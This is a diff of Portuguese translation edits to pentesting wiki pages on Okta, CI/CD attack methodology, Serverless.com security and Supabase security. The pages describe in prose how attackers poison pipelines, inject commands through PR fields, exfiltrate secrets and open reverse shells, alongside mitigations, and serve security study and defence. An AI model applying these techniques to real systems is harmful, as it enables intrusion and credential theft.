-Aqui você pode encontrar todos os **aplicativos configurados** e seus detalhes: Quem tem acesso a eles, como está configurado (SAML, OpenID), URL para login, os mapeamentos entre Okta e o aplicativo...
+Aqui você pode encontrar todos os **aplicativos configurados** e seus detalhes: Quem tem acesso a eles, como está configurado (SAML, OpenID), URL para login, os mapeamentos entre Okta e a aplicação...
 
 Na aba **`Sign On`** também há um campo chamado **`Password reveal`** que permitiria a um usuário **revelar sua senha** ao verificar as configurações do aplicativo. Para verificar as configurações de um aplicativo a partir do Painel do Usuário, clique nos 3 pontos:
 
@@ -79,7 +79,7 @@ E você poderia ver mais detalhes sobre o aplicativo (como o recurso de revelaç
 
 ### Access Certifications
 
-Use as Certificações de Acesso para criar campanhas de auditoria para revisar o acesso dos seus usuários a recursos periodicamente e aprovar ou revogar o acesso automaticamente quando necessário.
+Use Access Certifications para criar campanhas de auditoria para revisar o acesso dos seus usuários a recursos periodicamente e aprovar ou revogar o acesso automaticamente quando necessário.
 
 Eu não vi isso sendo usado, mas imagino que, do ponto de vista defensivo, seja um bom recurso.
 
@@ -104,7 +104,7 @@ Aqui é possível encontrar configurações **corretamente** e **perigosamente**
 
 Aqui você pode encontrar todos os métodos de autenticação que um usuário poderia usar: Senha, telefone, e-mail, código, WebAuthn... Clicando no autenticador de Senha, você pode ver a **política de senha**. Verifique se é forte.
 
-Na aba **Enrollment** você pode ver como os que são obrigatórios ou opcionais:
+Na aba **Enrollment**, você pode ver como os que são obrigatórios ou opcionais:
 
 <figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
 
@@ -114,7 +114,7 @@ Na aba **Enrollment** você pode ver como os que são obrigatórios ou opcionais
 
 Cada aplicativo tem uma política de autenticação. A política de autenticação verifica se os usuários que tentam fazer login no aplicativo atendem a condições específicas e impõe requisitos de fator com base nessas condições.
 
-Aqui você pode encontrar os **requisitos para acessar cada aplicativo**. É recomendado solicitar pelo menos senha e outro método para cada aplicativo. Mas se como atacante você encontrar algo mais fraco, pode ser capaz de atacá-lo.
+Aqui você pode encontrar os **requisitos para acessar cada aplicativo**. É recomendado solicitar pelo menos senha e outro método para cada aplicativo. Mas se, como atacante, você encontrar algo mais fraco, pode ser capaz de atacá-lo.
 
 ### Global Session Policy
 
@@ -122,11 +122,11 @@ Aqui você pode encontrar as políticas de sessão atribuídas a diferentes grup
 
 <figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
 
-É recomendado solicitar MFA, limitar a duração da sessão a algumas horas, não persistir cookies de sessão em extensões de navegador e limitar a localização e o Provedor de Identidade (se isso for possível). Por exemplo, se cada usuário deve fazer login de um país específico, você poderia permitir apenas essa localização.
+É recomendável solicitar MFA, limitar a duração da sessão a algumas horas, não persistir cookies de sessão em extensões de navegador e limitar a localização e o Provedor de Identidade (se isso for possível). Por exemplo, se cada usuário deve fazer login de um país específico, você poderia permitir apenas essa localização.
 
 ### Identity Providers
 
-Os Provedores de Identidade (IdPs) são serviços que **gerenciam contas de usuário**. Adicionar IdPs no Okta permite que seus usuários finais **se registrem** em seus aplicativos personalizados, autenticando-se primeiro com uma conta social ou um cartão inteligente.
+Os Provedores de Identidade (IdPs) são serviços que **gerenciam contas de usuário**. Adicionar IdPs no Okta permite que seus usuários finais se **autoregistrem** com suas aplicações personalizadas, primeiro autenticando-se com uma conta social ou um cartão inteligente.
 
 Na página dos Provedores de Identidade, você pode adicionar logins sociais (IdPs) e configurar o Okta como um provedor de serviços (SP) adicionando SAML de entrada. Depois de adicionar IdPs, você pode configurar regras de roteamento para direcionar usuários a um IdP com base no contexto, como a localização do usuário, dispositivo ou domínio de e-mail.
 
@@ -142,7 +142,7 @@ Novamente, verifique isso, pois um atacante comprometendo o AD de uma organizaç
 
 Uma zona de rede é um limite configurável que você pode usar para **conceder ou restringir acesso a computadores e dispositivos** em sua organização com base no **endereço IP** que está solicitando acesso. Você pode definir uma zona de rede especificando um ou mais endereços IP individuais, intervalos de endereços IP ou locais geográficos.
 
-Depois de definir uma ou mais zonas de rede, você pode **usá-las em Políticas de Sessão Globais**, **políticas de autenticação**, notificações de VPN e **regras de roteamento**.
+Depois de definir uma ou mais zonas de rede, você pode **usá-las em Políticas de Sessão Global**, **políticas de autenticação**, notificações de VPN e **regras de roteamento**.
 
 Do ponto de vista de um atacante, é interessante saber quais IPs são permitidos (e verificar se algum **IP é mais privilegiado** que outros). Do ponto de vista de um atacante, se os usuários devem acessar de um endereço IP ou região específica, verifique se esse recurso está sendo usado corretamente.
 
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index d7e39bb16..c89e81c95 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Metodologia de Pentesting CI/CD
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCS significa **Sistema de Controle de Versão**, esses sistemas permitem que os desenvolvedores **gerenciem seu código-fonte**. O mais comum é **git** e você geralmente encontrará empresas usando-o em uma das seguintes **plataformas**:
+VCS significa **Version Control System**, esses sistemas permitem que os desenvolvedores **gerenciem seu código-fonte**. O mais comum é o **git** e você geralmente encontrará empresas usando-o em uma das seguintes **plataformas**:
 
 - Github
 - Gitlab
@@ -14,13 +14,13 @@ VCS significa **Sistema de Controle de Versão**, esses sistemas permitem que os
 - Gitea
 - Provedores de nuvem (eles oferecem suas próprias plataformas VCS)
 
-## CI/CD Pipelines
+## Pipelines CI/CD
 
-Os pipelines CI/CD permitem que os desenvolvedores **automatizem a execução de código** para vários propósitos, incluindo construção, teste e implantação de aplicações. Esses fluxos de trabalho automatizados são **ativados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento à produção.
+As pipelines CI/CD permitem que os desenvolvedores **automatizem a execução de código** para vários propósitos, incluindo construção, teste e implantação de aplicações. Esses fluxos de trabalho automatizados são **ativados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento à produção.
 
 No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para implantar código ou acessar informações sensíveis**.
 
-## VCS Pentesting Methodology
+## Metodologia de Pentesting VCS
 
 > [!NOTE]
 > Mesmo que algumas plataformas VCS permitam criar pipelines, nesta seção vamos analisar apenas ataques potenciais ao controle do código-fonte.
@@ -28,32 +28,32 @@ No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmen
 Plataformas que contêm o código-fonte do seu projeto contêm informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns em plataformas VCS que um atacante poderia explorar:
 
 - **Leaks**: Se seu código contém leaks nos commits e o atacante pode acessar o repositório (porque é público ou porque ele tem acesso), ele poderia descobrir os leaks.
-- **Access**: Se um atacante pode **acessar uma conta dentro da plataforma VCS**, ele poderia ganhar **mais visibilidade e permissões**.
-- **Register**: Algumas plataformas permitirão apenas que usuários externos criem uma conta.
+- **Acesso**: Se um atacante pode **acessar uma conta dentro da plataforma VCS**, ele poderia ganhar **mais visibilidade e permissões**.
+- **Registro**: Algumas plataformas permitem apenas que usuários externos criem uma conta.
 - **SSO**: Algumas plataformas não permitirão que os usuários se registrem, mas permitirão que qualquer um acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo).
-- **Credentials**: Nome de usuário + Senha, tokens pessoais, chaves ssh, tokens Oauth, cookies... existem vários tipos de tokens que um usuário poderia roubar para acessar de alguma forma um repositório.
+- **Credenciais**: Nome de usuário + Senha, tokens pessoais, chaves ssh, tokens Oauth, cookies... existem vários tipos de tokens que um usuário poderia roubar para acessar de alguma forma um repositório.
 - **Webhooks**: As plataformas VCS permitem gerar webhooks. Se eles **não estiverem protegidos** com segredos não visíveis, um **atacante poderia abusar deles**.
 - Se nenhum segredo estiver em vigor, o atacante poderia abusar do webhook da plataforma de terceiros.
-- Se o segredo estiver na URL, o mesmo acontece e o atacante também terá o segredo.
-- **Code compromise:** Se um ator malicioso tiver algum tipo de **acesso de escrita** sobre os repositórios, ele poderia tentar **injetar código malicioso**. Para ter sucesso, ele pode precisar **contornar as proteções de branch**. Essas ações podem ser realizadas com diferentes objetivos em mente:
+- Se o segredo estiver na URL, o mesmo acontece e o atacante também tem o segredo.
+- **Comprometimento de código:** Se um ator malicioso tiver algum tipo de acesso **de escrita** sobre os repositórios, ele poderia tentar **injetar código malicioso**. Para ter sucesso, ele pode precisar **contornar as proteções de branch**. Essas ações podem ser realizadas com diferentes objetivos em mente:
 - Comprometer o branch principal para **comprometer a produção**.
 - Comprometer o principal (ou outros branches) para **comprometer as máquinas dos desenvolvedores** (já que eles geralmente executam testes, terraform ou outras coisas dentro do repositório em suas máquinas).
-- **Comprometer o pipeline** (ver próxima seção)
+- **Comprometer a pipeline** (ver próxima seção)
 
-## Pipelines Pentesting Methodology
+## Metodologia de Pentesting de Pipelines
 
-A maneira mais comum de definir um pipeline é usando um **arquivo de configuração CI hospedado no repositório** que o pipeline constrói. Este arquivo descreve a ordem dos trabalhos executados, condições que afetam o fluxo e configurações do ambiente de construção.\
-Esses arquivos geralmente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionado, o trabalho do pipeline **puxa o código** da fonte selecionada (por exemplo, commit / branch) e **executa os comandos especificados no arquivo de configuração CI** contra esse código.
+A maneira mais comum de definir uma pipeline é usando um **arquivo de configuração CI hospedado no repositório** que a pipeline constrói. Este arquivo descreve a ordem dos trabalhos executados, condições que afetam o fluxo e configurações do ambiente de construção.\
+Esses arquivos geralmente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionada, a tarefa da pipeline **puxa o código** da fonte selecionada (por exemplo, commit / branch) e **executa os comandos especificados no arquivo de configuração CI** contra esse código.
 
 Portanto, o objetivo final do atacante é de alguma forma **comprometer esses arquivos de configuração** ou os **comandos que eles executam**.
 
-### PPE - Poisoned Pipeline Execution
+### PPE - Execução de Pipeline Envenenado
 
-O caminho Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular um pipeline CI e executar comandos prejudiciais. Usuários com as permissões necessárias podem modificar arquivos de configuração CI ou outros arquivos usados pelo trabalho do pipeline para incluir comandos maliciosos. Isso "envenena" o pipeline CI, levando à execução desses comandos maliciosos.
+O caminho de Execução de Pipeline Envenenado (PPE) explora permissões em um repositório SCM para manipular uma pipeline CI e executar comandos prejudiciais. Usuários com as permissões necessárias podem modificar arquivos de configuração CI ou outros arquivos usados pela tarefa da pipeline para incluir comandos maliciosos. Isso "envenena" a pipeline CI, levando à execução desses comandos maliciosos.
 
 Para que um ator malicioso tenha sucesso ao realizar um ataque PPE, ele precisa ser capaz de:
 
-- Ter **acesso de escrita à plataforma VCS**, já que geralmente os pipelines são acionados quando um push ou um pull request é realizado. (Ver a metodologia de pentesting VCS para um resumo das maneiras de obter acesso).
+- Ter **acesso de escrita à plataforma VCS**, já que geralmente as pipelines são acionadas quando um push ou um pull request é realizado. (Ver a metodologia de pentesting VCS para um resumo das maneiras de obter acesso).
 - Note que às vezes um **PR externo conta como "acesso de escrita"**.
 - Mesmo que ele tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de configuração CI ou outros arquivos dos quais a configuração depende**.
 - Para isso, ele pode precisar ser capaz de **contornar as proteções de branch**.
@@ -62,42 +62,42 @@ Existem 3 sabores de PPE:
 
 - **D-PPE**: Um ataque **Direto PPE** ocorre quando o ator **modifica o arquivo de configuração CI** que será executado.
 - **I-DDE**: Um ataque **Indireto PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de configuração CI que será executado **depende** (como um arquivo make ou uma configuração terraform).
-- **Public PPE ou 3PE**: Em alguns casos, os pipelines podem ser **acionados por usuários que não têm acesso de escrita no repositório** (e que podem nem mesmo fazer parte da organização) porque podem enviar um PR.
-- **3PE Command Injection**: Geralmente, os pipelines CI/CD **definirão variáveis de ambiente** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **lugar perigoso** (como executar **comandos sh**), um atacante pode **injetar comandos ali**.
+- **PPE Público ou 3PE**: Em alguns casos, as pipelines podem ser **acionadas por usuários que não têm acesso de escrita no repositório** (e que podem nem mesmo fazer parte da organização) porque podem enviar um PR.
+- **Injeção de Comando 3PE**: Geralmente, as pipelines CI/CD **definem variáveis de ambiente** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **lugar perigoso** (como executar **comandos sh**), um atacante pode **injetar comandos ali**.
 
-### Exploitation Benefits
+### Benefícios da Exploração
 
-Conhecendo os 3 sabores para envenenar um pipeline, vamos verificar o que um atacante poderia obter após uma exploração bem-sucedida:
+Conhecendo os 3 sabores para envenenar uma pipeline, vamos verificar o que um atacante poderia obter após uma exploração bem-sucedida:
 
-- **Secrets**: Como mencionado anteriormente, os pipelines requerem **privilégios** para seus trabalhos (recuperar o código, construí-lo, implantá-lo...) e esses privilégios geralmente são **concedidos em segredos**. Esses segredos geralmente são acessíveis via **variáveis de ambiente ou arquivos dentro do sistema**. Portanto, um atacante sempre tentará exfiltrar o máximo de segredos possível.
-- Dependendo da plataforma do pipeline, o atacante **pode precisar especificar os segredos na configuração**. Isso significa que se o atacante não puder modificar o pipeline de configuração CI (**I-PPE**, por exemplo), ele poderia **apenas exfiltrar os segredos que esse pipeline possui**.
-- **Computation**: O código é executado em algum lugar, dependendo de onde é executado, um atacante pode ser capaz de pivotar mais.
-- **On-Premises**: Se os pipelines são executados localmente, um atacante pode acabar em uma **rede interna com acesso a mais recursos**.
-- **Cloud**: O atacante poderia acessar **outras máquinas na nuvem**, mas também poderia **exfiltrar** tokens de **contas de serviço/roles IAM** para obter **mais acesso dentro da nuvem**.
-- **Platforms machine**: Às vezes, os trabalhos serão executados dentro das **máquinas da plataforma de pipelines**, que geralmente estão dentro de uma nuvem com **nenhum acesso adicional**.
-- **Select it:** Às vezes, a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração CI**, poderá **indicar onde deseja executar o código malicioso**. Nessa situação, um atacante provavelmente executará um shell reverso em cada máquina possível para tentar explorá-la mais.
-- **Compromise production**: Se você estiver dentro do pipeline e a versão final for construída e implantada a partir dele, você poderia **comprometer o código que acabará sendo executado em produção**.
+- **Segredos**: Como mencionado anteriormente, as pipelines requerem **privilégios** para suas tarefas (recuperar o código, construí-lo, implantá-lo...) e esses privilégios geralmente são **concedidos em segredos**. Esses segredos geralmente são acessíveis via **variáveis de ambiente ou arquivos dentro do sistema**. Portanto, um atacante sempre tentará exfiltrar o máximo de segredos possível.
+- Dependendo da plataforma da pipeline, o atacante **pode precisar especificar os segredos na configuração**. Isso significa que se o atacante não puder modificar a configuração da pipeline CI (**I-PPE**, por exemplo), ele poderia **apenas exfiltrar os segredos que a pipeline possui**.
+- **Computação**: O código é executado em algum lugar, dependendo de onde é executado, um atacante pode ser capaz de pivotar mais.
+- **On-Premises**: Se as pipelines são executadas localmente, um atacante pode acabar em uma **rede interna com acesso a mais recursos**.
+- **Nuvem**: O atacante poderia acessar **outras máquinas na nuvem**, mas também poderia **exfiltrar** tokens de contas de serviço/roles IAM **dela para obter** **acesso adicional dentro da nuvem**.
+- **Máquina da plataforma**: Às vezes, os trabalhos serão executados dentro das **máquinas da plataforma de pipelines**, que geralmente estão dentro de uma nuvem com **nenhum acesso adicional**.
+- **Selecione-a:** Às vezes, a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração CI**, poderá **indicar onde deseja executar o código malicioso**. Nessa situação, um atacante provavelmente executará um shell reverso em cada máquina possível para tentar explorá-la mais.
+- **Comprometer a produção**: Se você estiver dentro da pipeline e a versão final for construída e implantada a partir dela, você poderia **comprometer o código que acabará sendo executado em produção**.
 
-## More relevant info
+## Mais informações relevantes
 
-### Tools & CIS Benchmark
+### Ferramentas & Benchmark CIS
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta de código aberto para auditar sua pilha de cadeia de suprimentos de software para conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de implantação.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta de código aberto para auditar sua pilha de cadeia de suprimentos de software para conformidade de segurança com base em um novo [**benchmark de Cadeia de Suprimentos de Software CIS**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de implantação.
 
-### Top 10 CI/CD Security Risk
+### Top 10 Riscos de Segurança CI/CD
 
 Confira este artigo interessante sobre os 10 principais riscos de CI/CD de acordo com a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
 - Em cada plataforma que você pode executar localmente, você encontrará como lançá-la localmente para que possa configurá-la como quiser para testá-la.
-- Laboratório Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- Lab Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
-### Automatic Tools
+### Ferramentas Automáticas
 
 - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de análise de código estático para infraestrutura como código.
 
-## References
+## Referências
 
 - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index 26a44fbbc..c341e61b2 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -34,7 +34,7 @@ handler: handler.hello
 
 Uma **Função** representa uma única função serverless, como uma função AWS Lambda. Ela contém o código que é executado em resposta a eventos.
 
-Está definida na seção `functions` em `serverless.yml`, especificando o manipulador, runtime, eventos, variáveis de ambiente e outras configurações.
+Está definida na seção `functions` em `serverless.yml`, especificando o manipulador, tempo de execução, eventos, variáveis de ambiente e outras configurações.
 ```yaml
 functions:
 hello:
@@ -70,7 +70,7 @@ rate: rate(10 minutes)
 
 <summary>Recurso</summary>
 
-**Recursos** permitem que você defina recursos de nuvem adicionais dos quais seu serviço depende, como bancos de dados, buckets de armazenamento ou funções IAM.
+**Recursos** permitem que você defina recursos adicionais de nuvem dos quais seu serviço depende, como bancos de dados, buckets de armazenamento ou funções IAM.
 
 Eles são especificados na seção `resources`, frequentemente usando a sintaxe do CloudFormation para AWS.
 ```yaml
@@ -254,7 +254,7 @@ plugins:
 
 <summary>Hooks</summary>
 
-**Hooks** permitem que você execute scripts ou comandos personalizados em pontos específicos do ciclo de vida da implantação. Eles são definidos usando plugins ou dentro do `serverless.yml` para realizar ações antes ou depois das implantações.
+**Hooks** permitem que você execute scripts ou comandos personalizados em pontos específicos do ciclo de vida de implantação. Eles são definidos usando plugins ou dentro do `serverless.yml` para realizar ações antes ou depois das implantações.
 ```yaml
 custom:
 hooks:
@@ -323,7 +323,7 @@ method: get
 {{#endtab }}
 {{#endtabs }}
 
-4. Crie um provedor AWS, acessando o **painel** em `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
+4. Crie um provedor AWS, acessando o **dashboard** em `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
 1. Para dar acesso ao `serverless.com` ao AWS, será solicitado que você execute uma pilha do cloudformation usando este arquivo de configuração (no momento da escrita): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
 2. Este template gera um papel chamado **`SFRole-<ID>`** com **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre a conta com uma Identidade de Confiança que permite que a conta AWS do `Serverless.com` acesse o papel.
 
@@ -399,7 +399,7 @@ Type: String
 ```
 </details>
 
-5. O tutorial pede para criar o arquivo `createCustomer.js`, que basicamente criará um novo endpoint de API tratado pelo novo arquivo JS e pede para modificar o arquivo `serverless.yml` para que ele gere uma **nova tabela DynamoDB**, defina uma **variável de ambiente**, o papel que estará usando as lambdas geradas.
+5. O tutorial pede para criar o arquivo `createCustomer.js`, que basicamente criará um novo endpoint de API gerenciado pelo novo arquivo JS e pede para modificar o arquivo `serverless.yml` para que ele gere uma **nova tabela DynamoDB**, defina uma **variável de ambiente**, o papel que estará usando as lambdas geradas.
 
 {{#tabs }}
 {{#tab name="createCustomer.js" }}
@@ -481,19 +481,19 @@ TableName: ${self:service}-customerTable-${sls:stage}
 {{#endtab }}
 {{#endtabs }}
 
-6. Implemente-o executando **`serverless deploy`**
-1. A implantação será realizada via um CloudFormation Stack
-2. Observe que as **lambdas estão expostas via API gateway** e não via URLs diretas
-7. **Teste-o**
+6. Faça o deploy executando **`serverless deploy`**
+1. O deployment será realizado via um CloudFormation Stack
+2. Note que as **lambdas estão expostas via API gateway** e não via URLs diretas
+7. **Teste**
 1. O passo anterior imprimirá as **URLs** onde suas funções lambda de endpoints da API foram implantadas
 
 ## Revisão de Segurança do Serverless.com
 
-### **Funções e Permissões IAM Mal Configuradas**
+### **Papéis e Permissões IAM Mal Configurados**
 
-Funções IAM excessivamente permissivas podem conceder acesso não autorizado a recursos em nuvem, levando a vazamentos de dados ou manipulação de recursos.
+Papéis IAM excessivamente permissivos podem conceder acesso não autorizado a recursos em nuvem, levando a vazamentos de dados ou manipulação de recursos.
 
-Quando nenhuma permissão é especificada para uma função Lambda, uma função com permissões apenas para gerar logs será criada, como:
+Quando nenhuma permissão é especificada para uma função Lambda, um papel com permissões apenas para gerar logs será criado, como:
 
 <details>
 
@@ -545,7 +545,7 @@ Action:
 Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
 ```
 
-- **Use Funções Separadas:** Diferencie funções com base nos requisitos da função.
+- **Use Funções Separadas:** Diferencie funções com base nos requisitos.
 
 ---
 
@@ -553,7 +553,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
 
 Armazenar informações sensíveis (por exemplo, chaves de API, credenciais de banco de dados) diretamente em **`serverless.yml`** ou código pode levar à exposição se os repositórios forem comprometidos.
 
-A **maneira recomendada** de armazenar variáveis de ambiente no arquivo **`serverless.yml`** do serverless.com (no momento da redação) é usar os provedores `ssm` ou `s3`, que permitem obter os **valores de ambiente dessas fontes no momento da implantação** e **configurar** as variáveis de ambiente das **lambdas** com o **texto claro dos valores**!
+A maneira **recomendada** de armazenar variáveis de ambiente no arquivo **`serverless.yml`** do serverless.com (no momento da redação) é usar os provedores `ssm` ou `s3`, que permitem obter os **valores de ambiente dessas fontes no momento da implantação** e **configurar** as variáveis de ambiente das **lambdas** com o **texto claro dos valores**!
 
 > [!CAUTION]
 > Portanto, qualquer pessoa com permissões para ler a configuração das lambdas dentro da AWS poderá **acessar todas essas variáveis de ambiente em texto claro!**
@@ -671,7 +671,7 @@ Recursos compartilhados e isolamento inadequado podem levar a elevações de pri
 
 #### **Estratégias de Mitigação**
 
-- **Isolar Funções:** Atribua recursos e funções IAM distintos para garantir operação independente.
+- **Isolar Funções:** Atribua recursos distintos e funções IAM para garantir operação independente.
 - **Particionamento de Recursos:** Use bancos de dados ou buckets de armazenamento separados para diferentes funções.
 - **Usar VPCs:** Implante funções dentro de Nuvens Privadas Virtuais para melhor isolamento de rede.
 
@@ -714,7 +714,7 @@ SSEEnabled: true
 
 ### **Falta de Tratamento Adequado de Erros**
 
-Mensagens de erro detalhadas podem vazar informações sensíveis sobre a infraestrutura ou a base de código, enquanto exceções não tratadas podem levar a falhas na aplicação.
+Mensagens de erro detalhadas podem vazar informações sensíveis sobre a infraestrutura ou base de código, enquanto exceções não tratadas podem levar a falhas de aplicação.
 
 #### **Estratégias de Mitigação**
 
@@ -768,7 +768,7 @@ Usar plugins de terceiros não verificados ou maliciosos pode introduzir vulnera
 
 ### **Exposição de Endpoints Sensíveis**
 
-Funções acessíveis publicamente ou APIs sem restrições podem ser exploradas para operações não autorizadas.
+Funções publicamente acessíveis ou APIs sem restrições podem ser exploradas para operações não autorizadas.
 
 #### **Estratégias de Mitigação**
 
@@ -791,10 +791,10 @@ Conceder permissões excessivas a membros da equipe e colaboradores externos pod
 
 ### **Segurança de Chaves de Acesso e Chaves de Licença**
 
-**Chaves de Acesso** e **Chaves de Licença** são credenciais críticas usadas para autenticar e autorizar interações com a CLI do Serverless Framework.
+**Chaves de Acesso** e **Chaves de Licença** são credenciais críticas usadas para autenticar e autorizar interações com o Serverless Framework CLI.
 
-- **Chaves de Licença:** São identificadores únicos necessários para autenticar o acesso à Versão 4 do Serverless Framework, que permite login via CLI.
-- **Chaves de Acesso:** Credenciais que permitem que a CLI do Serverless Framework se autentique com o Dashboard do Serverless Framework. Ao fazer login com a CLI `serverless`, uma chave de acesso será **gerada e armazenada no laptop**. Você também pode configurá-la como uma variável de ambiente chamada `SERVERLESS_ACCESS_KEY`.
+- **Chaves de Licença:** São identificadores únicos necessários para autenticar o acesso à versão 4 do Serverless Framework, que permite login via CLI.
+- **Chaves de Acesso:** Credenciais que permitem que o Serverless Framework CLI se autentique com o Dashboard do Serverless Framework. Ao fazer login com o CLI `serverless`, uma chave de acesso será **gerada e armazenada no laptop**. Você também pode configurá-la como uma variável de ambiente chamada `SERVERLESS_ACCESS_KEY`.
 
 #### **Riscos de Segurança**
 
@@ -807,6 +807,6 @@ Conceder permissões excessivas a membros da equipe e colaboradores externos pod
 4. **Falta de Rotação:**
 - Não girar regularmente as chaves estende o período de exposição se as chaves forem comprometidas.
 5. **Permissões Excessivas:**
-- Chaves com permissões amplas podem ser exploradas para realizar ações não autorizadas em vários recursos.
+- Chaves com permissões amplas podem ser exploradas para realizar ações não autorizadas em múltiplos recursos.
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 43dc00b5a..72ecf9652 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -1,10 +1,10 @@
-# Supabase Security
+# Segurança do Supabase
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Informações Básicas
 
-De acordo com sua [**página de destino**](https://supabase.com/): Supabase é uma alternativa de código aberto ao Firebase. Comece seu projeto com um banco de dados Postgres, Autenticação, APIs instantâneas, Funções Edge, assinaturas em tempo real, Armazenamento e embeddings vetoriais.
+De acordo com sua [**página de aterrissagem**](https://supabase.com/): Supabase é uma alternativa de código aberto ao Firebase. Comece seu projeto com um banco de dados Postgres, Autenticação, APIs instantâneas, Funções Edge, assinaturas em tempo real, Armazenamento e embeddings vetoriais.
 
 ### Subdomínio
 
@@ -23,7 +23,7 @@ Portanto, como o subdomínio é conhecido e é usado como nome de usuário e as
 Esta seção também contém opções para:
 
 - Redefinir a senha do banco de dados
-- Configurar o pool de conexões
+- Configurar o pooling de conexões
 - Configurar SSL: Rejeitar conexões em texto simples (por padrão, estão habilitadas)
 - Configurar o tamanho do disco
 - Aplicar restrições e proibições de rede
@@ -33,7 +33,7 @@ Esta seção também contém opções para:
 > [!TIP]
 > **Esses dados podem ser acessados a partir de um link como `https://supabase.com/dashboard/project/<project-id>/settings/api`**
 
-A URL para acessar a API supabase em seu projeto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+A URL para acessar a API do supabase em seu projeto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
 
 ### chaves da API anon
 
@@ -43,7 +43,7 @@ Ele também gerará uma **chave da API anon** (`role: "anon"`), como: `eyJhbGciO
 
 <details>
 
-<summary>Signup (/auth/v1/signup)</summary>
+<summary>Cadastro (/auth/v1/signup)</summary>
 ```
 POST /auth/v1/signup HTTP/2
 Host: id.io.net
@@ -119,7 +119,7 @@ Um **JWT Secret** também será gerado para que a aplicação possa **criar e as
 > Por **padrão**, o supabase permitirá que **novos usuários criem contas** em seu projeto usando os endpoints de API mencionados anteriormente.
 
 No entanto, essas novas contas, por padrão, **precisarão validar seu endereço de e-mail** para poder fazer login na conta. É possível habilitar **"Permitir logins anônimos"** para permitir que as pessoas façam login sem verificar seu endereço de e-mail. Isso pode conceder acesso a **dados inesperados** (eles recebem os papéis `public` e `authenticated`).\
-Isso é uma ideia muito ruim porque o supabase cobra por usuário ativo, então as pessoas poderiam criar usuários e fazer login e o supabase cobraria por esses:
+Isso é uma ideia muito ruim porque o supabase cobra por usuário ativo, então as pessoas poderiam criar usuários e fazer login e o supabase cobrará por esses:
 
 <figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -152,8 +152,8 @@ Isso é uma ideia muito ruim porque o supabase cobra por usuário ativo, então
